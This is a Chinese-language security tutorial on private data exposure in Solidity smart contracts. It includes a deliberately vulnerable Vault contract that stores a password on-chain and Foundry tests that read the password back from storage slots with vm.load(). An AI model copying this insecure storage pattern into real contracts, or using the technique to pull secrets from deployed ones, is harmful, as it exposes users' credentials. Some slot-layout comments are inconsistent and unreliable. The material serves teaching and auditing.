区块链安全常见的攻击分析——私有数据泄露 (Private Data Exposure)【7】

name: 私有数据泄露 (Private Data Exposure)

重点: 变量直接存储在链上，而链上的所有数据（无论是 public 还是 private）都可以被直接读取。因此，用户的密码缺乏安全性，容易被恶意行为者获取。利用vm.load() 或类似的链上存储读取方法，可以直接获取存储数据，从而轻松获取用户的 password。
如果不理解槽位slot可以先学习一下目录里1.5 知识点

1.1 漏洞分析

password直接存储在链上，所有存储在链上的数据（无论是 public 还是 private）都可以被读取。因此，用户的密码并不安全，容易被恶意行为者获取。

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 私有数据泄露 (Private Data Exposure)

描述:
Solidity 将合约中定义的变量存储在槽位（slot）中。每个槽位最多可以容纳 32 字节或 256 位。
由于所有存储在链上的数据（无论是 public 还是 private）都可以被读取，因此可以通过预测私有数据在 Vault 合约中的存储槽位，读取其中的私有数据。

如果在生产环境中使用 Vault 合约，恶意行为者可能会使用类似技术访问敏感信息，例如用户密码。

缓解措施:
避免在链上存储敏感数据。

参考:
https://quillaudits.medium.com/accessing-private-data-in-smart-contracts-quillaudits-fe847581ce6d
*/

contract Vault {
    // slot 0
    uint256 private password;

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user);
        idToUser[0] = user;
    }

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 1
    User[] public users;
    // slot 2
    mapping(uint => User) public idToUser;

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (bytes32) {
        uint256 a = uint(keccak256(abi.encodePacked(slot))) +
            (index * elementSize);
        return bytes32(a);
    }
}

1.3 攻击分析

通过vm.load()直接获取链上数据

• 可以获取user数组中user结构体内的password
  
• 也可以直接读取 password 存储的槽位 0
  

结果

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Privatedata.sol";

contract ContractTest is Test {
    Vault PrivatedataContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        PrivatedataContract = new Vault(211233);
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
    }

    function testPrivatedata() public {
        vm.prank(Koko);
        bytes32 leet = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log(uint256(leet));

        // users in slot 1 - length of array
        // starting from slot hash(1) - array elements
        // slot where array element is stored = keccak256(slot)) + (index * elementSize)
        // where slot = 1 and elementSize = 2 (1 (uint) +  1 (bytes32))
        bytes32 user = vm.load(
            address(PrivatedataContract),
            PrivatedataContract.getArrayLocation(1, 1, 1)
        );
        console.log(uint256(user));
    }

    function testPasswordSlot() public {
        // 读取 password 存储的槽位 0
        bytes32 password = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log("Password stored in slot 0:", uint256(password));
    }
}

1.5 知识点：槽位 slot

存储规则：

1. 状态变量顺序：
   • 状态变量按其定义顺序依次存储在存储槽（slot）中。
   • 每个槽的大小为 256 位（32 字节）。
   • 如果变量大小小于 256 位（例如 uint128 或 bool），多个变量可能共享一个槽。
2. 动态数组和映射：
   • 动态数组和映射本身占用一个槽，存储的是其内容的起始位置的哈希值。
   • 数组元素和映射值存储在独立的哈希槽中。
3. 结构体：
   • 结构体的每个成员按顺序分配存储，类似于多个状态变量。

示例存储分析：

假设合约如下：

contract Vault {
    uint256 private password; // slot 0
    struct User {
        uint256 id;          // slot 1 (in storage for arrays/mappings)
        bytes32 password;    // slot 2 (in storage for arrays/mappings)
    }
    User[] public users;      // slot 1 (base slot for dynamic array)
    mapping(uint256 => User) public idToUser; // slot 2 (base slot for mapping)

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user); // Stored starting from keccak256(slot 1)
        idToUser[0] = user; // Stored starting from keccak256(0 + slot 2)
    }
}

变量存储位置：

1. password (slot 0):
   • 存储在槽位 0，因为它是合约中定义的第一个变量，占用完整的 256 位。
2. users 动态数组 (slot 1):
   • 动态数组的起始槽存储在槽位 1。
   • 数组内容从 keccak256(slot 1) 开始的槽位存储。
3. idToUser 映射 (slot 2):
   • 映射的基础槽位是 2。
   • 映射中的每个键值对存储在 keccak256(键 + slot 2)。

如何获取槽位数据：

1. 通过 getStorageAt 读取存储数据： 使用 Solidity 或工具（如 Foundry 的 vm.load）读取指定槽位的数据。

2. Foundry 示例：

   contract VaultTest is Test {
       Vault vault;
   
       function setUp() public {
           vault = new Vault(123456);
       }
   
       function testStorage() public {
           // 读取槽位 0 的存储数据
           bytes32 slot0 = vm.load(address(vault), bytes32(uint256(0)));
           console.log("Password (slot 0):", uint256(slot0));
   
           // 读取数组起始槽位 1 的哈希值
           bytes32 arraySlot1 = vm.load(address(vault), bytes32(uint256(1)));
           console.log("Array base slot 1:", arraySlot1);
   
           // 读取映射键 0 的哈希槽
           bytes32 mapSlot = keccak256(abi.encodePacked(uint256(0), uint256(2)));
           bytes32 userInMapping = vm.load(address(vault), mapSlot);
           console.log("Mapping data:", userInMapping);
       }
   }
   

存储槽位计算：

1. 单变量：
   • 按声明顺序从槽位 0 开始。
2. 动态数组：
   • 数组本身的基础槽位存储数组长度。
   • 元素从 keccak256(基础槽位) 开始依次存储。
3. 映射：
   • 每个键值对的存储槽 = keccak256(abi.encodePacked(键, 映射基础槽位))。